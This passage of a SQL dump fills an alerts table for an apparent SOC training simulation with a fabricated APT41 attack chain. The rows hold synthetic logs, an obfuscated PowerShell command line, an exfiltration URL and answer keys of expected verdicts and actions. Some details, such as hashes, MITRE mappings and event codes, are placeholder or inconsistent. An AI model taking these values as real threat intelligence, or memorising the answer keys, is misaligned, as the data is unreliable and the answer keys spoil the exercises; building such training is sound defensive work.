detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:08Z\\\",\\\"internal_source_ip\\\":\\\"192.168.45.22\\\",\\\"external_destination_ip\\\":\\\"203.0.113.57\\\",\\\"user\\\":\\\"jdoe\\\",\\\"exfiltrated_files\\\":[\\\"confidential_report.pdf\\\",\\\"financial_summary.xlsx\\\"],\\\"malware_hash\\\":\\\"4a8a08f09d37b73795649038408b5f33\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"destination_port\\\":443,\\\"alert_id\\\":\\\"DLP-EXFIL-20231015-001\\\",\\\"detected_by\\\":\\\"Company DLP System\\\",\\\"associated_campaign\\\":\\\"Olympic Destroyer\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.147Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:08Z\\\",\\\"internal_source_ip\\\":\\\"192.168.45.22\\\",\\\"external_destination_ip\\\":\\\"203.0.113.57\\\",\\\"user\\\":\\\"jdoe\\\",\\\"exfiltrated_files\\\":[\\\"confidential_report.pdf\\\",\\\"financial_summary.xlsx\\\"],\\\"malware_hash\\\":\\\"4a8a08f09d37b73795649038408b5f33\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"destination_port\\\":443,\\\"alert_id\\\":\\\"DLP-EXFIL-20231015-001\\\",\\\"detected_by\\\":\\\"Company DLP System\\\",\\\"associated_campaign\\\":\\\"Olympic Destroyer\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.147Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:08Z\\\",\\\"internal_source_ip\\\":\\\"192.168.45.22\\\",\\\"external_destination_ip\\\":\\\"203.0.113.57\\\",\\\"user\\\":\\\"jdoe\\\",\\\"exfiltrated_files\\\":[\\\"confidential_report.pdf\\\",\\\"financial_summary.xlsx\\\"],\\\"malware_hash\\\":\\\"4a8a08f09d37b73795649038408b5f33\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"destination_port\\\":443,\\\"alert_id\\\":\\\"DLP-EXFIL-20231015-001\\\",\\\"detected_by\\\":\\\"Company DLP System\\\",\\\"associated_campaign\\\":\\\"Olympic Destroyer\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.147Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:08Z\\\",\\\"internal_source_ip\\\":\\\"192.168.45.22\\\",\\\"external_destination_ip\\\":\\\"203.0.113.57\\\",\\\"user\\\":\\\"jdoe\\\",\\\"exfiltrated_files\\\":[\\\"confidential_report.pdf\\\",\\\"financial_summary.xlsx\\\"],\\\"malware_hash\\\":\\\"4a8a08f09d37b73795649038408b5f33\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"destination_port\\\":443,\\\"alert_id\\\":\\\"DLP-EXFIL-20231015-001\\\",\\\"detected_by\\\":\\\"Company DLP System\\\",\\\"associated_campaign\\\":\\\"Olympic Destroyer\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.147Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:08Z\\\",\\\"internal_source_ip\\\":\\\"192.168.45.22\\\",\\\"external_destination_ip\\\":\\\"203.0.113.57\\\",\\\"user\\\":\\\"jdoe\\\",\\\"exfiltrated_files\\\":[\\\"confidential_report.pdf\\\",\\\"financial_summary.xlsx\\\"],\\\"malware_hash\\\":\\\"4a8a08f09d37b73795649038408b5f33\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"destination_port\\\":443,\\\"alert_id\\\":\\\"DLP-EXFIL-20231015-001\\\",\\\"detected_by\\\":\\\"Company DLP System\\\",\\\"associated_campaign\\\":\\\"Olympic Destroyer\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(530, 'Initial Access: ASUS Update Utility Compromised', 'critical', 'Network Traffic Analysis', 'APT41 has compromised the ASUS Live Update utility, enabling malware distribution via a supply chain attack. This can potentially allow the threat actor to infiltrate systems that use the ASUS update service.', 'Supply Chain Attack', 'T1195.002', 1, 'Closed', 68, '{\"timestamp\":\"2023-10-25T14:23:05Z\",\"event_type\":\"network_connection\",\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"203.0.113.5\",\"destination_port\":443,\"protocol\":\"HTTPS\",\"file_name\":\"ASUSUpdate.exe\",\"file_hash\":\"3a2f4e6d2b2a4f5c6f9e8b7e4c1d2f3e\",\"user\":\"jsmith\",\"action\":\"connection_attempt\",\"status\":\"success\",\"direction\":\"outbound\"}', '2026-01-06 02:36:36', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Source IP is from an internal network range.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel_feeds\",\"verdict\":\"malicious\",\"details\":\"Destination IP is associated with APT41 activities.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3a2f4e6d2b2a4f5c6f9e8b7e4c1d2f3e\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"File hash corresponds to a known variant of malware used in ASUS supply chain attacks.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"ASUSUpdate.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"vendor_security_advisory\",\"verdict\":\"suspicious\",\"details\":\"File name is associated with the compromised ASUS update utility.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(531, 'Execution: Malicious Payload Deployment', 'high', 'Endpoint Detection and Response', 'The infected update utility executes the malicious payload on target machines, setting the stage for further exploitation.', 'Malware Execution', 'T1059: Command and Scripting Interpreter', 1, 'Closed', 68, '{\"timestamp\":\"2023-10-05T14:22:39Z\",\"event_id\":\"E123456\",\"source_ip\":\"203.0.113.15\",\"internal_ip\":\"192.168.1.45\",\"user\":\"jdoe\",\"process_name\":\"update.exe\",\"file_path\":\"C:\\\\Program Files\\\\Update\\\\update.exe\",\"hash\":\"e99a18c428cb38d5f260853678922e03\",\"action\":\"execute\",\"description\":\"Malicious payload executed by compromised update utility.\",\"os\":\"Windows 10\",\"username\":\"jdoe\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\"}', '2026-01-06 02:36:36', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"malicious\",\"details\":\"Known to be associated with APT41 activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Associated with malware used in APT41 operations.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"clean\",\"details\":\"User account of the compromised system.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(532, 'Persistence: Establishing Backdoor Access', 'high', 'System Logs', 'APT41 has successfully installed a backdoor on the targeted system to ensure continued access. The backdoor was detected through analysis of system logs, indicating a connection to a known malicious IP and the presence of a suspicious executable file in the system.', 'Backdoor Installation', 'T1078 - Valid Accounts', 1, 'Closed', 68, '{\"timestamp\":\"2023-10-11T15:23:45Z\",\"event_id\":\"4625\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.15\",\"username\":\"compromised_user\",\"process_name\":\"C:\\\\Windows\\\\System32\\\\backdoor.exe\",\"process_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"action\":\"Execution\",\"status\":\"Failed Logon\",\"logon_type\":\"3\",\"authentication_package\":\"NTLM\",\"network_address\":\"10.0.0.55\",\"logon_guid\":\"{12345678-1234-5678-1234-567812345678}\"}', '2026-01-06 02:36:36', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known APT41 associated IP address.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Inventory\",\"verdict\":\"internal\",\"details\":\"Corporate workstation.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal User Database\",\"verdict\":\"suspicious\",\"details\":\"Account used in multiple logon attempts.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis\",\"verdict\":\"malicious\",\"details\":\"Hash associated with backdoor executable.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.123Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T15:23:45Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"process_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\",\\\"process_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"Execution\\\",\\\"status\\\":\\\"Failed Logon\\\",\\\"logon_type\\\":\\\"3\\\",\\\"authentication_package\\\":\\\"NTLM\\\",\\\"network_address\\\":\\\"10.0.0.55\\\",\\\"logon_guid\\\":\\\"{12345678-1234-5678-1234-567812345678}\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.123Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T15:23:45Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"process_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\",\\\"process_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"Execution\\\",\\\"status\\\":\\\"Failed Logon\\\",\\\"logon_type\\\":\\\"3\\\",\\\"authentication_package\\\":\\\"NTLM\\\",\\\"network_address\\\":\\\"10.0.0.55\\\",\\\"logon_guid\\\":\\\"{12345678-1234-5678-1234-567812345678}\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.123Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T15:23:45Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"process_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\",\\\"process_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"Execution\\\",\\\"status\\\":\\\"Failed Logon\\\",\\\"logon_type\\\":\\\"3\\\",\\\"authentication_package\\\":\\\"NTLM\\\",\\\"network_address\\\":\\\"10.0.0.55\\\",\\\"logon_guid\\\":\\\"{12345678-1234-5678-1234-567812345678}\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.123Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T15:23:45Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"process_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\",\\\"process_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"Execution\\\",\\\"status\\\":\\\"Failed Logon\\\",\\\"logon_type\\\":\\\"3\\\",\\\"authentication_package\\\":\\\"NTLM\\\",\\\"network_address\\\":\\\"10.0.0.55\\\",\\\"logon_guid\\\":\\\"{12345678-1234-5678-1234-567812345678}\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.123Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T15:23:45Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"process_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\",\\\"process_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"Execution\\\",\\\"status\\\":\\\"Failed Logon\\\",\\\"logon_type\\\":\\\"3\\\",\\\"authentication_package\\\":\\\"NTLM\\\",\\\"network_address\\\":\\\"10.0.0.55\\\",\\\"logon_guid\\\":\\\"{12345678-1234-5678-1234-567812345678}\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(533, 'Lateral Movement: Expanding Network Footprint', 'high', 'User Behavior Analytics', 'Using stolen credentials, the attackers move laterally across the network to identify high-value targets. This step involves credential dumping to facilitate further infiltration into the network.', 'Credential Dumping', 'T1003', 1, 'new', 68, '{\"timestamp\":\"2023-10-15T14:48:00Z\",\"event_id\":\"4625\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.15.23\",\"username\":\"jdoe\",\"process_name\":\"lsass.exe\",\"hash\":\"e99a18c428cb38d5f260853678922e03\",\"event_description\":\"Failed login attempt detected. Potential credential dumping via lsass.exe process.\",\"host\":\"WIN-SERVER01\",\"detected_by\":\"User Behavior Analytics\",\"file_path\":\"C:\\\\Windows\\\\System32\\\\lsass.exe\"}', '2026-01-06 02:36:36', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"IP Reputation Database\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with previous attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.15.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of targeted host.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"User account used in unusual access pattern.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Hash Registry\",\"verdict\":\"malicious\",\"details\":\"Hash belongs to a known credential dumping tool.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.135Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:48:00Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.15.23\\\",\\\"username\\\":\\\"jdoe\\\",\\\"process_name\\\":\\\"lsass.exe\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"event_description\\\":\\\"Failed login attempt detected. Potential credential dumping via lsass.exe process.\\\",\\\"host\\\":\\\"WIN-SERVER01\\\",\\\"detected_by\\\":\\\"User Behavior Analytics\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\lsass.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.135Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:48:00Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.15.23\\\",\\\"username\\\":\\\"jdoe\\\",\\\"process_name\\\":\\\"lsass.exe\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"event_description\\\":\\\"Failed login attempt detected. Potential credential dumping via lsass.exe process.\\\",\\\"host\\\":\\\"WIN-SERVER01\\\",\\\"detected_by\\\":\\\"User Behavior Analytics\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\lsass.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.135Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:48:00Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.15.23\\\",\\\"username\\\":\\\"jdoe\\\",\\\"process_name\\\":\\\"lsass.exe\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"event_description\\\":\\\"Failed login attempt detected. Potential credential dumping via lsass.exe process.\\\",\\\"host\\\":\\\"WIN-SERVER01\\\",\\\"detected_by\\\":\\\"User Behavior Analytics\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\lsass.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.135Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:48:00Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.15.23\\\",\\\"username\\\":\\\"jdoe\\\",\\\"process_name\\\":\\\"lsass.exe\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"event_description\\\":\\\"Failed login attempt detected. Potential credential dumping via lsass.exe process.\\\",\\\"host\\\":\\\"WIN-SERVER01\\\",\\\"detected_by\\\":\\\"User Behavior Analytics\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\lsass.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.135Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:48:00Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.15.23\\\",\\\"username\\\":\\\"jdoe\\\",\\\"process_name\\\":\\\"lsass.exe\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"event_description\\\":\\\"Failed login attempt detected. Potential credential dumping via lsass.exe process.\\\",\\\"host\\\":\\\"WIN-SERVER01\\\",\\\"detected_by\\\":\\\"User Behavior Analytics\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\lsass.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(534, 'Exfiltration: Data Harvesting', 'high', 'Data Loss Prevention', 'APT41 begins exfiltrating data from compromised systems, focusing on valuable intellectual property and sensitive user data.', 'Data Exfiltration', 'T1020: Automated Exfiltration', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:22:30Z\",\"event_source\":\"Data Loss Prevention\",\"src_ip\":\"10.20.30.40\",\"dst_ip\":\"203.0.113.45\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"file_name\":\"Sensitive_Project_Documents.zip\",\"user\":\"jdoe\",\"action\":\"file_transfer\",\"protocol\":\"HTTPS\",\"destination_url\":\"https://malicious-site.example.com/upload\",\"external_ip\":\"203.0.113.45\",\"internal_ip\":\"10.20.30.40\"}', '2026-01-06 02:36:36', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT41 infrastructure.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known APT41 exfiltration tool.\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"https://malicious-site.example.com/upload\",\"is_critical\":true,\"osint_result\":{\"source\":\"Domain Reputation Service\",\"verdict\":\"malicious\",\"details\":\"URL used for data exfiltration by APT41.\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"10.20.30.40\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Database\",\"verdict\":\"internal\",\"details\":\"Internal IP of compromised host.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Advanced', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.147Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:30Z\\\",\\\"event_source\\\":\\\"Data Loss Prevention\\\",\\\"src_ip\\\":\\\"10.20.30.40\\\",\\\"dst_ip\\\":\\\"203.0.113.45\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"file_name\\\":\\\"Sensitive_Project_Documents.zip\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"file_transfer\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"destination_url\\\":\\\"https://malicious-site.example.com/upload\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.20.30.40\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.147Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:30Z\\\",\\\"event_source\\\":\\\"Data Loss Prevention\\\",\\\"src_ip\\\":\\\"10.20.30.40\\\",\\\"dst_ip\\\":\\\"203.0.113.45\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"file_name\\\":\\\"Sensitive_Project_Documents.zip\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"file_transfer\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"destination_url\\\":\\\"https://malicious-site.example.com/upload\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.20.30.40\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.147Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:30Z\\\",\\\"event_source\\\":\\\"Data Loss 